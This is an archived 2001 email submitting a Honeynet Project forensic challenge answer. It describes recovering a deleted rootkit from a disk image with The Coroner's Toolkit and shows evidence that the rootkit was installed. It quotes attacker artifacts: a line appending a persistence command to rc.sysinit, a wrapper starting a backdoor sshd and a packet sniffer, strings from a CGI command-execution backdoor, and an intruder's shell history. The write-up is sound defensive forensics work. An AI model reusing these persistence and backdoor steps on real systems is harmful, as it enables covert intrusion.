From thompson@pobox.upenn.edu Fri May 25 18:33:53 2001
Date: Fri, 25 May 2001 17:57:43 -0400 (EDT)
From: Stephen W. Thompson <thompson@pobox.upenn.edu>
Reply-To: thompson@isc.upenn.edu
To: project@honeynet.org
Cc: Steve <thompson@isc.upenn.edu>
Subject: Submission for May Scan

What is in between the "=====" lines should work with my detached
signature, below.  I did it oddly like that so the lines starting with '-'
wouldn't look odd.  -- S.T.

========================================
Dear Honeynet Project,

You wrote, in part:

  Your mission is to recover the deleted rootkit
  from the / partition.

       - The Honeynet Project 
         http://project.honeynet.org

Here are my results.  As usual, thanks for the project, the motivation
to learn, the helpful pointers to allow me to learn.  The project was
my motivation to finally learn The Coroner's Toolkit (tct).


I. STEP-BY-STEP EXPLANATION OF MY PROCEDURE

After downloading, compiling and reading the documentation for tct,
I used mactime to analyze file modifications to discover what
might have happened and when.

1. Uncompress and retrieve files from the downloaded file:

   tar zxvf honeynet.tar.gz

   There is now a ./honeynet/ directory with files honeypot.hda8.dd
   (the partition image) and README.

2. Prepare a loopback device with which to mount the partition
   image: "/sbin/losetup /dev/loop2 honeypot.hda8.dd"

3. Create a mount point at which to mount the partition image, then
   mount it, read-only to prevent accidental changes:

   mkdir mp
   mount -r /dev/loop2 mp

4. Use 'mactime' from tct to get atime, mtime and ctime for existing
   files on partition:

   mactime <exact parms?> > mactimes.out

[Given:
 Setup time: 2000/11/05 07:33:20 CST aka GMT-0600.
 Snort intrusion traces: 2000/11/07 23:11:06 (CST?).
 Analysis system: PST aka GMT-0800.
 Victim system is 57 min. 9 sec ahead of IDS time.
]

translate unix times to human times that can sort
sort
analyze files for likely time of intrusion

use ils to list the inodes deleted from the system: ils -r /dev/loop2 >ils.out

retrieve just list of inodes:
    perl -ne 'next if $. > 3;s/\|.*//;print' ils.out > ils.inodes

recover the removed files using that list:

    for i in `cat ils.inodes`;do icat /dev/loop2 $i >file$i;done [check opts]

used emacs in dired mode to browse each of the <N> files ('v' cmd)

file corresponding to inode 23 seemed the only file that might be large
  enough and the right content to have the rootkit.  I guess I could have
  used 'file' command.  So I did:

  for i in file*;do echo file $i;done

For most files, there were interesting results but not the
sought file.  For example:

   file2038: empty

   file2039: ELF 32-bit LSB executable, Intel 80386,
                          version 1, dynamically linked 
   (uses shared libs), not stripped

   file2040: ASCII text

   file2041: Bourne shell script text

For file23, though, success!

   file23: gzip compressed data, deflated, last modified: Fri Mar  2
               22:09:06 2001, os: Unix

For convenience, rename: mv file23 file23.tar.gz

To help uniquely identify the kit when working with others, get hash:
   md5sum file23.tar.gz
       115f438631de8d0a7c03c9d458eb7257  file23.tar.gz

Also list the size: wc file23.tar.gz
  1776   10898  520333 file23.tar.gz


II. ROOTKIT FILE LIST

[root@prod honeynet]# tar ztvf file23.tar.gz 
drwxr-xr-x 1031/users        0 2001-02-26 15:40:30 last/
tar: Archive contains future timestamp 2002-02-08 08:08:13
-rwxr-xr-x 1031/users   611931 2002-02-08 08:08:13 last/ssh
-rw-r--r-- 1031/users        1 2001-02-26 10:29:58 last/pidfile
-rwx------ 1031/users     3713 2001-03-02 22:08:37 last/install
-rwx------ 1031/users     7165 2001-02-26 10:22:50 last/linsniffer
-rwxr-xr-x 1031/users     1345 1999-09-09 11:57:11 last/cleaner
-rw-r--r-- 1031/users     3278 2001-01-27 10:11:32 last/inetd.conf
-rwxr-xr-x 1031/users       79 2001-02-26 10:28:40 last/lsattr
-rw-r--r-- 1031/users    11407 2001-01-27 10:11:44 last/services
-rwxr-xr-x 1031/users     4060 2001-02-26 10:22:55 last/sense
-rw-r--r-- 1031/users      880 2000-10-22 15:29:44 last/ssh_config
-rw------- 1031/users      540 2000-10-22 15:29:44 last/ssh_host_key
-rw-r--r-- 1031/users      344 2000-10-22 15:29:44 last/ssh_host_key.pub
-rw------- 1031/users      512 2000-10-22 15:29:44 last/ssh_random_seed
-rw-r--r-- 1031/users      688 2001-02-26 10:29:51 last/sshd_config
-rwx------ 1031/users     8268 2001-02-26 10:22:59 last/sl2
-rwxr-xr-x 1031/users     4620 2001-02-26 10:23:10 last/last.cgi
-rwxr-xr-x 1031/users    33280 2001-02-26 10:23:33 last/ps
-rwxr-xr-x 1031/users    35300 2001-02-26 10:23:42 last/netstat
-rwxr-xr-x 1031/users    19840 2001-02-26 10:23:47 last/ifconfig
-rwxr-xr-x 1031/users    53588 2001-02-26 10:23:55 last/top
-rwx------ 1031/users       75 2001-02-26 10:24:03 last/logclear
-rw-r--r-- root/root       708 2001-03-02 22:05:12 last/s
-rwxr-xr-x 1031/users   632066 2001-02-26 09:46:04 last/mkxfs

III. BONUS QUESTION

Was the rootkit ever actually installed on the system? How do you know?

Sadly, I saved the mactime output in /tmp, which has been cleaned
since, and which gives a distinct timeline of the order of changed
files.  However, we definitely see a series of files installed in
into priviliged directories, such as:

/dev/ida/.. (that's dot-dot-space)

and a /dev/ida/.drag-on directory that has a sniffer, sniffer log
and alternative sshd:

  /mnt/floppy/dev/ida/.drag-on:
  total 660
  -rw-r--r--    1 root     root          138 Mar 16 11:28 tcp.log
  -rw-------    1 root     root          512 Mar 16 09:45 ssh_random_seed
  drwxr-xr-x    2 root     root         1024 Mar 15 20:45 .
  drwxrwxr-x    4 root     root        12288 Mar 15 20:45 ..
  -rwx------    1 root     root         7165 Mar 15 20:45 linsniffer
  -rwx------    1 root     root           75 Mar 15 20:45 logclear
  -rwxr-xr-x    1 root     root       632066 Mar 15 20:45 mkxfs
  -rw-r--r--    1 root     root          708 Mar 15 20:45 s
  -rwxr-xr-x    1 root     root         4060 Mar 15 20:45 sense
  -rwx------    1 root     root         8268 Mar 15 20:45 sl2
  -rw-------    1 root     root          540 Mar 15 20:45 ssh_host_key

Here we see the contents of the sniffer log.  Possibly the intruder
themself connecting?:

----- tcp.log: ----------------------------------------

cr272065-a.wlfdle1.on.wave.home.com => asdf1 [21]

----- [Timed Out]

ns2.giant.net => asdf1 [23]
da#da,~daO~daO~daU~ #'da[~dac~!dan~da~?

----------------------------------------

This file may be networks and/or ports from which access to the
hacked machine is automatic, or for which other exceptions are made:

--- /dev/last:

1 193.231.139
1 213.154.137
1 193.254.34
3 48744
3 3666
3 31221
3 22546
4 48744
4 2222

----------------------------------------

The machine's hostname has been named something odd:

---- /etc/HOSTNAME: ----------------------------------------

asdf1

----------------------------------------

Here we see evidence of a backdoor installed.  In the
"install" script is:

echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit

----------------------------------------

And found in /etc/rc.d/rc.sysinit, successfully installed:

/usr/bin/lsattr -t1 -X53 -p

----------------------------------------

In the rootkit, then, we see that lsattr is this:

./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /

----------------------------------------

In the binary mkxfs in the rootkit, we can make out text which
includes the following, which, in combination with it being started
with the "./s" file which is known to be the sshd config file
that uses the intruder's RSA host key, likely gives backdoor
access:

   Usage: %s [options]
   Options:
     -f file    Configuration file (default %s/sshd_config)
     -d         Debugging mode
     -i         Started from inetd
     -q         Quiet (no logging)
     -p port    Listen on the specified port (default: 22)

----------------------------------------

The ssh config file from the root kit, s, includes:

"HostKey /dev/ida/.drag-on/ssh_host_key"

And that file exists in that location.

----------------------------------------

----------------------------------------

Lastly noticed here, the install script tries to install a last.cgi
in the webserver's CGI binaries directory, if it exists.  Although
that directory does not seem to be in the partition we have studied,
if it was installed, the program seems to be a back door for running
arbitrary commands, from the strings within:

   <head><title>%s</title></head>
   <body bgcolor="#ffffff">
   <dir><h1>%s</h1>
   <ISINDEX prompt="Command to Execute: ">
   <br><b>Command output:</b> [<em\>%s</em>]
   <br><pre>

----------------------------------------

And, for good measure, the /root/.bash_history seems to record
some of the actual installation:

--- /root/.bash_history: ----------------------------------------

exec tcsh
ls
mkdir /var/...
ls
cd /var/...
ftp ftp.home.ro
tar -zxvf emech-2.8.tar.gz
cd emech-2.8
./configure
y
make
make
make install
mv sample.set mech.set
pico mech.set
./mech
cd /etc
pico ftpaccess
ls
exit

----------------------------------------

Respectfully submitted,
Steve
========================================


-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8

iQA/AwUBOw7Uk83oSRS59y8HEQKKOQCgq5vSklbyhbfgXGrkEn8POv5LnCkAn1+4
BzkZ3ftc7KlBsUpVrZUbN7/m
=3NEB
-----END PGP SIGNATURE-----

-- 
Stephen W. Thompson, UPenn, ISC Information Security, 215-898-1236, WWW has PGP
thompson@isc.upenn.edu    URL=http://pobox.upenn.edu/~thompson/index.html
  The only safe choice: Write e-mail as if it's public.  Cuz it could be.